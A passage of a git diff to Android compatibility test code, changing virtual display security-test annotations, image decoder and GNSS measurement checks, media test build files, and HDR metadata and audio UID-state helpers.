--- a/tests/tests/display/src/android/display/cts/VirtualDisplayTest.java
+++ b/tests/tests/display/src/android/display/cts/VirtualDisplayTest.java
@@ -31,6 +31,7 @@
import android.os.Looper;
import android.os.HandlerThread;
import android.os.SystemClock;
+import android.platform.test.annotations.SecurityTest;
import android.test.AndroidTestCase;
import android.util.DisplayMetrics;
import android.util.Log;
@@ -116,6 +117,7 @@
* Ensures that an application can create a private virtual display and show
* its own windows on it.
*/
+ @SecurityTest
public void testPrivateVirtualDisplay() throws Exception {
VirtualDisplay virtualDisplay = mDisplayManager.createVirtualDisplay(NAME,
WIDTH, HEIGHT, DENSITY, mSurface, 0);
@@ -128,8 +130,7 @@
// Show a private presentation on the display.
assertDisplayCanShowPresentation("private presentation window",
- display, BLUEISH,
- WindowManager.LayoutParams.TYPE_PRIVATE_PRESENTATION, 0);
+ display, BLUEISH, 0);
} finally {
virtualDisplay.release();
}
@@ -140,6 +141,7 @@
* Ensures that an application can create a private presentation virtual display and show
* its own windows on it.
*/
+ @SecurityTest
public void testPrivatePresentationVirtualDisplay() throws Exception {
VirtualDisplay virtualDisplay = mDisplayManager.createVirtualDisplay(NAME,
WIDTH, HEIGHT, DENSITY, mSurface,
@@ -153,8 +155,7 @@
// Show a private presentation on the display.
assertDisplayCanShowPresentation("private presentation window",
- display, BLUEISH,
- WindowManager.LayoutParams.TYPE_PRIVATE_PRESENTATION, 0);
+ display, BLUEISH, 0);
} finally {
virtualDisplay.release();
}
@@ -165,6 +166,7 @@
* Ensures that an application can create a private virtual display and show
* its own windows on it where the surface is attached or detached dynamically.
*/
+ @SecurityTest
public void testPrivateVirtualDisplayWithDynamicSurface() throws Exception {
VirtualDisplay virtualDisplay = mDisplayManager.createVirtualDisplay(NAME,
WIDTH, HEIGHT, DENSITY, null, 0);
@@ -181,8 +183,7 @@
// Show a private presentation on the display.
assertDisplayCanShowPresentation("private presentation window",
- display, BLUEISH,
- WindowManager.LayoutParams.TYPE_PRIVATE_PRESENTATION, 0);
+ display, BLUEISH, 0);
// Detach the surface.
virtualDisplay.setSurface(null);
@@ -227,7 +228,7 @@
}
private void assertDisplayCanShowPresentation(String message, final Display display,
- final int color, final int windowType, final int windowFlags) {
+ final int color, final int windowFlags) {
// At this point, we should not have seen any blue.
assertTrue(message + ": display should not show content before window is shown",
mImageListener.getColor() != color);
@@ -239,7 +240,7 @@
@Override
public void run() {
presentation[0] = new TestPresentation(getContext(), display,
- color, windowType, windowFlags);
+ color, windowFlags);
presentation[0].show();
}
});
@@ -289,14 +290,12 @@
private final class TestPresentation extends Presentation {
private final int mColor;
- private final int mWindowType;
private final int mWindowFlags;
public TestPresentation(Context context, Display display,
- int color, int windowType, int windowFlags) {
+ int color, int windowFlags) {
super(context, display);
mColor = color;
- mWindowType = windowType;
mWindowFlags = windowFlags;
}
@@ -305,7 +304,6 @@
super.onCreate(savedInstanceState);
setTitle(TAG);
- getWindow().setType(mWindowType);
getWindow().addFlags(mWindowFlags);
// Create a solid color image to use as the content of the presentation.
diff --git a/tests/tests/graphics/res/raw/f16.png b/tests/tests/graphics/res/raw/f16.png
deleted file mode 100644
index 2c3aed2..0000000
--- a/tests/tests/graphics/res/raw/f16.png
+++ /dev/null
Binary files differ
diff --git a/tests/tests/graphics/src/android/graphics/cts/ImageDecoderTest.java b/tests/tests/graphics/src/android/graphics/cts/ImageDecoderTest.java
index ce8f26a..cbf1a61 100644
--- a/tests/tests/graphics/src/android/graphics/cts/ImageDecoderTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/ImageDecoderTest.java
@@ -1679,7 +1679,7 @@
};
Listener l = new Listener();
SourceCreator f = mCreators[0];
- for (int resId : new int[] { R.drawable.png_test, R.raw.f16 }) {
+ for (int resId : new int[] { R.drawable.png_test, R.raw.basi6a16 }) {
Bitmap normal = null;
try {
normal = ImageDecoder.decodeBitmap(f.apply(resId));
@@ -1705,7 +1705,7 @@
// We do not support 565 in HARDWARE, so no RAM savings
// are possible.
assertEquals(normalByteCount, byteCount);
- } else { // R.raw.f16
+ } else { // R.raw.basi6a16
// This image defaults to F16. MEMORY_POLICY_LOW_RAM
// forces "test" to decode to 8888. But if the device
// does not support F16 in HARDWARE, "normal" is also
@@ -1723,10 +1723,15 @@
}
}
} else {
- // Not decoding to HARDWARE, but |normal| was. As such this should always
- // succeed in being smaller, as software will decode to 565 in this case.
- // This will always be less than whatever HARDWARE supports.
- assertTrue(byteCount < normalByteCount);
+ // Not decoding to HARDWARE, but |normal| was. Again, if basi6a16
+ // was decoded to 8888, which we can detect by looking at the color
+ // space, no savings are possible.
+ if (resId == R.raw.basi6a16 && !normal.getColorSpace().equals(
+ ColorSpace.get(ColorSpace.Named.LINEAR_EXTENDED_SRGB))) {
+ assertEquals(normalByteCount, byteCount);
+ } else {
+ assertTrue(byteCount < normalByteCount);
+ }
}
}
}
@@ -1759,8 +1764,8 @@
// If this were stored in drawable/, it would
// be converted from 16-bit to 8. FIXME: Is
// behavior still desirable now that we have
- // F16? b/119760146
- R.raw.f16 };
+ // F16?
+ R.raw.basi6a16 };
// An opaque image can be converted to 565, but postProcess will promote
// to 8888 in case alpha is added. The third image defaults to F16, so
// even with postProcess it will only be promoted to 8888.
diff --git a/tests/tests/hardware/src/android/hardware/cts/LowRamDeviceTest.java b/tests/tests/hardware/src/android/hardware/cts/LowRamDeviceTest.java
index 9e1366a..a9ddfc7 100644
--- a/tests/tests/hardware/src/android/hardware/cts/LowRamDeviceTest.java
+++ b/tests/tests/hardware/src/android/hardware/cts/LowRamDeviceTest.java
@@ -147,7 +147,7 @@
}
@Test
- @CddTest(requirement="7.6.2/H-0-1")
+ @CddTest(requirement="7.6.2")
public void testMinSharedDataPartitionSize() {
assertDataPartitionMinimumSize(
"Shared data",
@@ -156,7 +156,7 @@
}
@Test
- @CddTest(requirement="7.6.1/H-9-2,T-0-1,A-0-1,7.6.1/H-10-1")
+ @CddTest(requirement="7.6.1/H-9-2,7.6.1/H-10-1")
public void testMinDataPartitionSize() {
long totalMemoryMb = getTotalMemory() / ONE_MEGABYTE;
boolean lowRam = totalMemoryMb <= LOW_RAM_MAX;
diff --git a/tests/tests/location/src/android/location/cts/GnssMeasurementValuesTest.java b/tests/tests/location/src/android/location/cts/GnssMeasurementValuesTest.java
index 8e2c3f8..216989f 100644
--- a/tests/tests/location/src/android/location/cts/GnssMeasurementValuesTest.java
+++ b/tests/tests/location/src/android/location/cts/GnssMeasurementValuesTest.java
@@ -20,8 +20,6 @@
import android.location.GnssMeasurementsEvent;
import android.util.Log;
-import com.android.compatibility.common.util.CddTest;
-
import java.util.HashSet;
import java.util.List;
import java.util.Set;
@@ -78,7 +76,6 @@
* It only performs sanity checks for the measurements received.
* This tests uses actual data retrieved from GPS HAL.
*/
- @CddTest(requirement="7.3.3/C-3-2,C-3-3")
public void testListenForGnssMeasurements() throws Exception {
// Checks if GPS hardware feature is present, skips test (pass) if not,
// and hard asserts that Location/GPS (Provider) is turned on if is Cts Verifier.
diff --git a/tests/tests/location/src/android/location/cts/GnssStatusTest.java b/tests/tests/location/src/android/location/cts/GnssStatusTest.java
index 07aa083..1f7ffa4 100644
--- a/tests/tests/location/src/android/location/cts/GnssStatusTest.java
+++ b/tests/tests/location/src/android/location/cts/GnssStatusTest.java
@@ -3,8 +3,6 @@
import android.location.GnssStatus;
import android.util.Log;
-import com.android.compatibility.common.util.CddTest;
-
public class GnssStatusTest extends GnssTestCase {
private static final String TAG = "GnssStatusTest";
@@ -58,7 +56,6 @@
/**
* Tests values of {@link GnssStatus}.
*/
- @CddTest(requirement="7.3.3/C-1-4")
public void testGnssStatusValues() throws InterruptedException {
// Checks if GPS hardware feature is present, skips test (pass) if not,
// and hard asserts that Location/GPS (Provider) is turned on if is Cts Verifier.
diff --git a/tests/tests/location/src/android/location/cts/GnssTestCase.java b/tests/tests/location/src/android/location/cts/GnssTestCase.java
index 5d78795..a128c95 100644
--- a/tests/tests/location/src/android/location/cts/GnssTestCase.java
+++ b/tests/tests/location/src/android/location/cts/GnssTestCase.java
@@ -15,7 +15,10 @@
*/
package android.location.cts;
+import android.os.Build;
+import android.os.SystemProperties;
import android.test.AndroidTestCase;
+import android.util.Log;
/**
* Base Test Case class for all Gnss Tests.
@@ -33,6 +36,11 @@
// On devices using newer hardware, GNSS measurement support is required.
protected boolean isMeasurementTestStrict() {
+ // Enforce strict measurement test on devices with first API level at least P.
+ if (SystemProperties.getInt("ro.product.first_api_level", 0) >= Build.VERSION_CODES.P) {
+ return true;
+ }
+
return (mTestLocationManager.getLocationManager().getGnssYearOfHardware() >=
MIN_HARDWARE_YEAR_MEASUREMENTS_REQUIRED);
}
diff --git a/tests/tests/location/src/android/location/cts/TestMeasurementUtil.java b/tests/tests/location/src/android/location/cts/TestMeasurementUtil.java
index 437eb21..26aedf8 100644
--- a/tests/tests/location/src/android/location/cts/TestMeasurementUtil.java
+++ b/tests/tests/location/src/android/location/cts/TestMeasurementUtil.java
@@ -56,7 +56,6 @@
private static final int YEAR_2016 = 2016;
private static final int YEAR_2017 = 2017;
- private static final int YEAR_2018 = 2018;
private enum GnssBand {
GNSS_L1,
@@ -817,8 +816,8 @@
public static void verifyGnssCarrierFrequency(SoftAssert softAssert,
TestLocationManager testLocationManager,
boolean hasCarrierFrequency, float carrierFrequencyHz) {
- // Enforcing CarrierFrequencyHz check only for year 2018+
- if (testLocationManager.getLocationManager().getGnssYearOfHardware() >= YEAR_2018) {
+ // Enforcing CarrierFrequencyHz present only for devices shipped with P+.
+ if (SystemProperties.getInt("ro.product.first_api_level", 0) >= Build.VERSION_CODES.P) {
softAssert.assertTrue("Measurement has Carrier Frequency: " + hasCarrierFrequency,
hasCarrierFrequency);
}
diff --git a/tests/tests/media/Android.bp b/tests/tests/media/Android.bp
deleted file mode 100644
index 6a14f54..0000000
--- a/tests/tests/media/Android.bp
+++ /dev/null
@@ -1,19 +0,0 @@
-android_library_import {
- name: "cts.media.heifwriter_heifwriter-nodeps",
- aars: ["androidx/heifwriter/1.1.0-alpha01/heifwriter-1.1.0-alpha01.aar"],
- sdk_version: "current",
- static_libs: [
- "androidx.annotation_annotation",
- ],
-}
-
-android_library {
- name: "cts.media.heifwriter_heifwriter",
- sdk_version: "current",
- manifest: "androidx/heifwriter/1.1.0-alpha01/AndroidManifest.xml",
- static_libs: [
- "cts.media.heifwriter_heifwriter-nodeps",
- "androidx.annotation_annotation",
- ],
- java_version: "1.7",
-}
diff --git a/tests/tests/media/Android.mk b/tests/tests/media/Android.mk
index 4d2dd1b..21e819b 100644
--- a/tests/tests/media/Android.mk
+++ b/tests/tests/media/Android.mk
@@ -55,7 +55,7 @@
testng \
truth-prebuilt \
mockito-target-minus-junit4 \
- cts.media.heifwriter_heifwriter \
+ androidx.heifwriter_heifwriter \
androidx.media_media \
LOCAL_JNI_SHARED_LIBRARIES := \
diff --git a/tests/tests/media/AndroidManifest.xml b/tests/tests/media/AndroidManifest.xml
index 8a26eea..4b3e7a0 100644
--- a/tests/tests/media/AndroidManifest.xml
+++ b/tests/tests/media/AndroidManifest.xml
@@ -30,7 +30,6 @@
<uses-permission android:name="android.permission.WRITE_SETTINGS" />
<uses-permission android:name="android.permission.SET_VOLUME_KEY_LONG_PRESS_LISTENER" />
<uses-permission android:name="android.permission.SET_MEDIA_KEY_LISTENER" />
- <uses-permission android:name="android.permission.INTERACT_ACROSS_USERS"/>
<application android:networkSecurityConfig="@xml/network_security_config">
<uses-library android:name="android.test.runner" />
@@ -101,6 +100,20 @@
<action android:name="android.media.browse.MediaBrowserService" />
</intent-filter>
</service>
+ <!-- Keep the test services synced together with the TestUtils.java -->
+ <service android:name="android.media.cts.MockMediaSessionService2">
+ <intent-filter>
+ <action android:name="android.media.MediaSessionService2" />
+ </intent-filter>
+ <meta-data android:name="android.media.session" android:value="TestSession" />
+ </service>
+ <!-- Keep the test services synced together with the MockMediaLibraryService -->
+ <service android:name="android.media.cts.MockMediaLibraryService2">
+ <intent-filter>
+ <action android:name="android.media.MediaLibraryService2" />
+ </intent-filter>
+ <meta-data android:name="android.media.session" android:value="TestLibrary" />
+ </service>
</application>
<instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
diff --git a/tests/tests/media/androidx/heifwriter/1.1.0-alpha01/heifwriter-1.1.0-alpha01-sources.jar b/tests/tests/media/androidx/heifwriter/1.1.0-alpha01/heifwriter-1.1.0-alpha01-sources.jar
deleted file mode 100644
index ba23153..0000000
--- a/tests/tests/media/androidx/heifwriter/1.1.0-alpha01/heifwriter-1.1.0-alpha01-sources.jar
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/androidx/heifwriter/1.1.0-alpha01/heifwriter-1.1.0-alpha01-sources.jar.md5 b/tests/tests/media/androidx/heifwriter/1.1.0-alpha01/heifwriter-1.1.0-alpha01-sources.jar.md5
deleted file mode 100644
index 7974fb7..0000000
--- a/tests/tests/media/androidx/heifwriter/1.1.0-alpha01/heifwriter-1.1.0-alpha01-sources.jar.md5
+++ /dev/null
@@ -1 +0,0 @@
-b22ebfa81aaf0635a1158161daab3d32
\ No newline at end of file
diff --git a/tests/tests/media/androidx/heifwriter/1.1.0-alpha01/heifwriter-1.1.0-alpha01-sources.jar.sha1 b/tests/tests/media/androidx/heifwriter/1.1.0-alpha01/heifwriter-1.1.0-alpha01-sources.jar.sha1
deleted file mode 100644
index c14e6bd..0000000
--- a/tests/tests/media/androidx/heifwriter/1.1.0-alpha01/heifwriter-1.1.0-alpha01-sources.jar.sha1
+++ /dev/null
@@ -1 +0,0 @@
-29f53ab2d0443a199f0c077d5a50225230547d45
\ No newline at end of file
diff --git a/tests/tests/media/androidx/heifwriter/1.1.0-alpha01/heifwriter-1.1.0-alpha01.aar b/tests/tests/media/androidx/heifwriter/1.1.0-alpha01/heifwriter-1.1.0-alpha01.aar
deleted file mode 100644
index 77a2f0b..0000000
--- a/tests/tests/media/androidx/heifwriter/1.1.0-alpha01/heifwriter-1.1.0-alpha01.aar
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/androidx/heifwriter/1.1.0-alpha01/heifwriter-1.1.0-alpha01.aar.md5 b/tests/tests/media/androidx/heifwriter/1.1.0-alpha01/heifwriter-1.1.0-alpha01.aar.md5
deleted file mode 100644
index 7cd202f..0000000
--- a/tests/tests/media/androidx/heifwriter/1.1.0-alpha01/heifwriter-1.1.0-alpha01.aar.md5
+++ /dev/null
@@ -1 +0,0 @@
-0c3b5d9f55ed225b5fcb37fd9e35c482
\ No newline at end of file
diff --git a/tests/tests/media/androidx/heifwriter/1.1.0-alpha01/heifwriter-1.1.0-alpha01.aar.sha1 b/tests/tests/media/androidx/heifwriter/1.1.0-alpha01/heifwriter-1.1.0-alpha01.aar.sha1
deleted file mode 100644
index 8af5999..0000000
--- a/tests/tests/media/androidx/heifwriter/1.1.0-alpha01/heifwriter-1.1.0-alpha01.aar.sha1
+++ /dev/null
@@ -1 +0,0 @@
-dd7b6a8217731139371044de6ccda9d2e16b549a
\ No newline at end of file
diff --git a/tests/tests/media/androidx/heifwriter/1.1.0-alpha01/heifwriter-1.1.0-alpha01.pom b/tests/tests/media/androidx/heifwriter/1.1.0-alpha01/heifwriter-1.1.0-alpha01.pom
deleted file mode 100644
index d40c50e..0000000
--- a/tests/tests/media/androidx/heifwriter/1.1.0-alpha01/heifwriter-1.1.0-alpha01.pom
+++ /dev/null
@@ -1,37 +0,0 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<project xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd" xmlns="http://maven.apache.org/POM/4.0.0"
- xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
- <modelVersion>4.0.0</modelVersion>
- <groupId>androidx.heifwriter</groupId>
- <artifactId>heifwriter</artifactId>
- <version>1.1.0-alpha01</version>
- <packaging>aar</packaging>
- <name>Android Support HeifWriter</name>
- <description>Android Support HeifWriter for writing HEIF still images</description>
- <url>http://developer.android.com/tools/extras/support-library.html</url>
- <inceptionYear>2018</inceptionYear>
- <licenses>
- <license>
- <name>The Apache Software License, Version 2.0</name>
- <url>http://www.apache.org/licenses/LICENSE-2.0.txt</url>
- <distribution>repo</distribution>
- </license>
- </licenses>
- <developers>
- <developer>
- <name>The Android Open Source Project</name>
- </developer>
- </developers>
- <scm>
- <connection>scm:git:https://android.googlesource.com/platform/frameworks/support</connection>
- <url>http://source.android.com</url>
- </scm>
- <dependencies>
- <dependency>
- <groupId>androidx.annotation</groupId>
- <artifactId>annotation</artifactId>
- <version>1.1.0-rc01</version>
- <scope>compile</scope>
- </dependency>
- </dependencies>
-</project>
diff --git a/tests/tests/media/androidx/heifwriter/1.1.0-alpha01/heifwriter-1.1.0-alpha01.pom.md5 b/tests/tests/media/androidx/heifwriter/1.1.0-alpha01/heifwriter-1.1.0-alpha01.pom.md5
deleted file mode 100644
index 92c07d9..0000000
--- a/tests/tests/media/androidx/heifwriter/1.1.0-alpha01/heifwriter-1.1.0-alpha01.pom.md5
+++ /dev/null
@@ -1 +0,0 @@
-065f1c7a005103eba0e08aaba786983f
\ No newline at end of file
diff --git a/tests/tests/media/androidx/heifwriter/1.1.0-alpha01/heifwriter-1.1.0-alpha01.pom.sha1 b/tests/tests/media/androidx/heifwriter/1.1.0-alpha01/heifwriter-1.1.0-alpha01.pom.sha1
deleted file mode 100644
index aa073e3..0000000
--- a/tests/tests/media/androidx/heifwriter/1.1.0-alpha01/heifwriter-1.1.0-alpha01.pom.sha1
+++ /dev/null
@@ -1 +0,0 @@
-4438d89cd1f26bee8fa983d9fcd2731f55838571
\ No newline at end of file
diff --git a/tests/tests/media/src/android/media/cts/AudioManagerTest.java b/tests/tests/media/src/android/media/cts/AudioManagerTest.java
index 8ba815f..369020e4 100644
--- a/tests/tests/media/src/android/media/cts/AudioManagerTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioManagerTest.java
@@ -174,12 +174,6 @@
@AppModeFull(reason = "Instant apps cannot hold android.permission.MODIFY_AUDIO_SETTINGS")
public void testMicrophoneMuteIntent() throws Exception {
- // Skip this test for automotive.
- // This tests listens for ACTION_MICROPHONE_MUTE_CHANGED which AudioService only broadcasts
- // to system user. Automotive devices, which runs in secondary user, will fail this test.
- if (mContext.getPackageManager().hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE)) {
- return;
- }
final MyBlockingIntentReceiver receiver = new MyBlockingIntentReceiver();
final boolean initialMicMute = mAudioManager.isMicrophoneMute();
try {
diff --git a/tests/tests/media/src/android/media/cts/AudioRecordTest.java b/tests/tests/media/src/android/media/cts/AudioRecordTest.java
index 88c5c3a..089f914 100644
--- a/tests/tests/media/src/android/media/cts/AudioRecordTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioRecordTest.java
@@ -37,9 +37,7 @@
import android.os.Handler;
import android.os.Looper;
import android.os.Message;
-import android.os.Process;
import android.os.SystemClock;
-import android.os.UserManager;
import android.platform.test.annotations.Presubmit;
import android.util.Log;
@@ -1494,55 +1492,24 @@
}
private static void makeMyUidStateActive() throws IOException {
- String command = String.format("cmd media.audio_policy set-uid-state %s active",
- getContext().getPackageName());
-
- if (!isSystemUser()) {
- // --user parameter is not supported on all devices - only those that will run CTS in
- // secondary users.
- // For System User - Command defaults to system user, no need to explicitly specify.
- // For Secondary User - Have to specify the user explicitly, otherwise the test fails.
- command += " --user " + Process.myUserHandle().getIdentifier();
- }
-
+ final String command = "cmd media.audio_policy set-uid-state "
+ + InstrumentationRegistry.getTargetContext().getPackageName() + " active";
SystemUtil.runShellCommand(InstrumentationRegistry.getInstrumentation(), command);
}
private static void makeMyUidStateIdle() throws IOException {
- String command = String.format("cmd media.audio_policy set-uid-state %s idle",
- getContext().getPackageName());
-
- if (!isSystemUser()) {
- // --user parameter is not supported on all devices - only those that will run CTS in
- // secondary users.
- // For System User - Command defaults to system user, no need to explicitly specify.
- // For Secondary User - Have to specify the user explicitly, otherwise the test fails.
- command += " --user " + Process.myUserHandle().getIdentifier();
- }
-
+ final String command = "cmd media.audio_policy set-uid-state "
+ + InstrumentationRegistry.getTargetContext().getPackageName() + " idle";
SystemUtil.runShellCommand(InstrumentationRegistry.getInstrumentation(), command);
}
private static void resetMyUidState() throws IOException {
- String command = "cmd media.audio_policy reset-uid-state "
- + getContext().getPackageName();
-
- if (!isSystemUser()) {
- // --user parameter is not supported on all devices - only those that will run CTS in
- // secondary users.
- // For System User - Command defaults to system user, no need to explicitly specify.
- // For Secondary User - Have to specify the user explicitly, otherwise the test fails.
- command += " --user " + Process.myUserHandle().getIdentifier();
- }
-
+ final String command = "cmd media.audio_policy reset-uid-state "
+ + InstrumentationRegistry.getTargetContext().getPackageName();
SystemUtil.runShellCommand(InstrumentationRegistry.getInstrumentation(), command);
}
private static Context getContext() {
return InstrumentationRegistry.getInstrumentation().getTargetContext();
}
-
- private static boolean isSystemUser() {
- return getContext().getSystemService(UserManager.class).isSystemUser();
- }
}
diff --git a/tests/tests/media/src/android/media/cts/DecoderTest.java b/tests/tests/media/src/android/media/cts/DecoderTest.java
index 6192c0f..022b853 100755
--- a/tests/tests/media/src/android/media/cts/DecoderTest.java
+++ b/tests/tests/media/src/android/media/cts/DecoderTest.java
@@ -702,10 +702,10 @@
public void testVp9HdrStaticMetadata() throws Exception {
final String staticInfo =
- "00 d0 84 80 3e c2 33 c4 86 4c 1d b8 0b 13 3d 42 " +
- "40 e8 03 64 00 e8 03 2c 01 " ;
+ "00 d0 84 80 3e c2 33 c4 86 4c 1d b8 0b 13 3d 42" +
+ "40 e8 03 64 00 e8 03 2c 01 " ;
testHdrStaticMetadata(R.raw.video_1280x720_vp9_hdr_static_3mbps,
- staticInfo, true /*metadataInContainer*/, "testVp9HdrStaticMetadata");
+ staticInfo, true /*metadataInContainer*/);
}
public void testH265HDR10StaticMetadata() throws Exception {
@@ -716,14 +716,13 @@
// Media frameworks puts the display primaries in RGB order, here we verify the three
// primaries are indeed in this order and fail otherwise.
final String staticInfo =
- "00 d0 84 80 3e c2 33 c4 86 4c 1d b8 0b 13 3d 42 " +
- "40 e8 03 00 00 e8 03 90 01 " ;
+ "00 d0 84 80 3e c2 33 c4 86 4c 1d b8 0b 13 3d 42" +
+ "40 e8 03 00 00 e8 03 90 01 " ;
testHdrStaticMetadata(R.raw.video_1280x720_hevc_hdr10_static_3mbps,
- staticInfo, false /*metadataInContainer*/, "testH265HDR10StaticMetadata");
+ staticInfo, false /*metadataInContainer*/);
}
- private void testHdrStaticMetadata(
- int res, String pattern, boolean metadataInContainer, String testName)
+ private void testHdrStaticMetadata(int res, String pattern, boolean metadataInContainer)
throws Exception {
AssetFileDescriptor infd = null;
MediaExtractor extractor = null;
@@ -747,8 +746,7 @@
assertTrue("Extractor failed to extract video track",
format != null && trackIndex >= 0);
if (metadataInContainer) {
- verifyHdrStaticInfo("Extractor failed to extract static info",
- format, pattern, metadataInContainer, testName);
+ verifyHdrStaticInfo("Extractor failed to extract static info", format, pattern);
}
extractor.selectTrack(trackIndex);
@@ -800,7 +798,7 @@
codec.releaseOutputBuffer(index, false);
verifyHdrStaticInfo("Output buffer has wrong static info",
- bufferFormat, pattern, metadataInContainer, testName);
+ bufferFormat, pattern);
mOutputReceived = true;
latch.countDown();
}
@@ -836,7 +834,7 @@
public void onOutputFormatChanged(MediaCodec codec, MediaFormat format) {
Log.i(TAG, "got output format: " + format);
verifyHdrStaticInfo("Output format has wrong static info",
- format, pattern, metadataInContainer, testName);
+ format, pattern);
}
});
decoder.configure(format, surface, null/*crypto*/, 0/*flags*/);
@@ -859,32 +857,13 @@
}
}
- private void verifyHdrStaticInfo(
- String reason, MediaFormat format, String pattern,
- boolean failOnMismatch, String testName) {
+ private void verifyHdrStaticInfo(String reason, MediaFormat format, String pattern) {
ByteBuffer staticMetadataBuffer = format.containsKey("hdr-static-info") ?
format.getByteBuffer("hdr-static-info") : null;
assertTrue(reason + ": empty",
staticMetadataBuffer != null && staticMetadataBuffer.remaining() > 0);
-
- if (!Arrays.equals(loadByteArrayFromString(pattern), staticMetadataBuffer.array())) {
- // log mismatch
- DeviceReportLog log = new DeviceReportLog("CtsMediaTestCases", testName);
-
- log.addValue("reason", reason + ": mismatch", ResultType.NEUTRAL, ResultUnit.NONE);
- StringBuilder sb = new StringBuilder();
- for (byte b : staticMetadataBuffer.array()) {
- sb.append(String.format("%02X ", b));
- }
- log.addValue("metadata_actual", sb.toString(), ResultType.NEUTRAL, ResultUnit.NONE);
- log.addValue("metadata_expected", pattern, ResultType.NEUTRAL, ResultUnit.NONE);
- log.setSummary("result", 0, ResultType.HIGHER_BETTER, ResultUnit.COUNT);
- log.submit(getInstrumentation());
-
- if (failOnMismatch) {
- fail(reason + ": mismatch");
- }
- }
+ assertTrue(reason + ": mismatch",
+ Arrays.equals(loadByteArrayFromString(pattern), staticMetadataBuffer.array()));
}
// helper to load byte[] from a String
diff --git a/tests/tests/media/src/android/media/cts/DecoderTestXheAac.java b/tests/tests/media/src/android/media/cts/DecoderTestXheAac.java
index a4b8e4e..c250fa2 100755
--- a/tests/tests/media/src/android/media/cts/DecoderTestXheAac.java
+++ b/tests/tests/media/src/android/media/cts/DecoderTestXheAac.java
@@ -92,116 +92,124 @@
assertTrue("No AAC decoder found", sAacDecoderNames.size() > 0);
for (String aacDecName : sAacDecoderNames) {
- Log.v(TAG, "testDecodeUsacDrcEffectTypeM4a running for dec=" + aacDecName);
- // test DRC effectTypeID 1 "NIGHT"
- // L -3dB -> normalization factor = 1/(10^(-3/10)) = 0.5011f
- // R +3dB -> normalization factor = 1/(10^( 3/10)) = 1.9952f
try {
- checkUsacDrcEffectType(1, 0.5011f, 1.9952f, "Night", 2, 0, aacDecName);
- } catch (Exception e) {
- Log.v(TAG, "testDecodeUsacDrcEffectTypeM4a Night/2/0 failed for dec=" + aacDecName);
- throw new RuntimeException(e);
+ runDecodeUsacDrcEffectTypeM4a(aacDecName);
+ } catch (Error err) {
+ throw new Error(err.getMessage() + " [dec=" + aacDecName + "]" , err);
}
+ }
+ }
- // test DRC effectTypeID 2 "NOISY"
- // L +3dB -> normalization factor = 1/(10^( 3/10)) = 1.9952f
- // R -6dB -> normalization factor = 1/(10^(-6/10)) = 0.2511f
- try {
- checkUsacDrcEffectType(2, 1.9952f, 0.2511f, "Noisy", 2, 0, aacDecName);
- } catch (Exception e) {
- Log.v(TAG, "testDecodeUsacDrcEffectTypeM4a Noisy/2/0 failed for dec=" + aacDecName);
- throw new RuntimeException(e);
- }
+ private void runDecodeUsacDrcEffectTypeM4a(String aacDecName) throws Exception {
+ Log.v(TAG, "testDecodeUsacDrcEffectTypeM4a running for dec=" + aacDecName);
+ // test DRC effectTypeID 1 "NIGHT"
+ // L -3dB -> normalization factor = 1/(10^(-3/10)) = 0.5011f
+ // R +3dB -> normalization factor = 1/(10^( 3/10)) = 1.9952f
+ try {
+ checkUsacDrcEffectType(1, 0.5011f, 1.9952f, "Night", 2, 0, aacDecName);
+ } catch (Exception e) {
+ Log.v(TAG, "testDecodeUsacDrcEffectTypeM4a Night/2/0 failed for dec=" + aacDecName);
+ throw new RuntimeException(e);
+ }
- // test DRC effectTypeID 3 "LIMITED"
- // L -6dB -> normalization factor = 1/(10^(-6/10)) = 0.2511f
- // R +6dB -> normalization factor = 1/(10^( 6/10)) = 3.9810f
- try {
- checkUsacDrcEffectType(3, 0.2511f, 3.9810f, "Limited", 2, 0, aacDecName);
- } catch (Exception e) {
- Log.v(TAG, "testDecodeUsacDrcEffectTypeM4a Limited/2/0 failed for dec="
- + aacDecName);
- throw new RuntimeException(e);
- }
+ // test DRC effectTypeID 2 "NOISY"
+ // L +3dB -> normalization factor = 1/(10^( 3/10)) = 1.9952f
+ // R -6dB -> normalization factor = 1/(10^(-6/10)) = 0.2511f
+ try {
+ checkUsacDrcEffectType(2, 1.9952f, 0.2511f, "Noisy", 2, 0, aacDecName);
+ } catch (Exception e) {
+ Log.v(TAG, "testDecodeUsacDrcEffectTypeM4a Noisy/2/0 failed for dec=" + aacDecName);
+ throw new RuntimeException(e);
+ }
- // test DRC effectTypeID 6 "GENERAL"
- // L +6dB -> normalization factor = 1/(10^( 6/10)) = 3.9810f
- // R -3dB -> normalization factor = 1/(10^(-3/10)) = 0.5011f
- try {
- checkUsacDrcEffectType(6, 3.9810f, 0.5011f, "General", 2, 0, aacDecName);
- } catch (Exception e) {
- Log.v(TAG, "testDecodeUsacDrcEffectTypeM4a General/2/0 failed for dec="
- + aacDecName);
- throw new RuntimeException(e);
- }
+ // test DRC effectTypeID 3 "LIMITED"
+ // L -6dB -> normalization factor = 1/(10^(-6/10)) = 0.2511f
+ // R +6dB -> normalization factor = 1/(10^( 6/10)) = 3.9810f
+ try {
+ checkUsacDrcEffectType(3, 0.2511f, 3.9810f, "Limited", 2, 0, aacDecName);
+ } catch (Exception e) {
+ Log.v(TAG, "testDecodeUsacDrcEffectTypeM4a Limited/2/0 failed for dec="
+ + aacDecName);
+ throw new RuntimeException(e);
+ }
- // test DRC effectTypeID 1 "NIGHT"
- // L -6dB -> normalization factor = 1/(10^(-6/10)) = 0.2511f
- // R +6dB -> normalization factor = 1/(10^( 6/10)) = 3.9810f
- // mono -6dB -> normalization factor = 1/(10^(-6/10)) = 0.2511f
- try {
- checkUsacDrcEffectType(1, 0.2511f, 3.9810f, "Night", 2, 1, aacDecName);
- } catch (Exception e) {
- Log.v(TAG, "testDecodeUsacDrcEffectTypeM4a Night/2/1 for dec=" + aacDecName);
- throw new RuntimeException(e);
- }
- try {
- checkUsacDrcEffectType(1, 0.2511f, 0.0f, "Night", 1, 1, aacDecName);
- } catch (Exception e) {
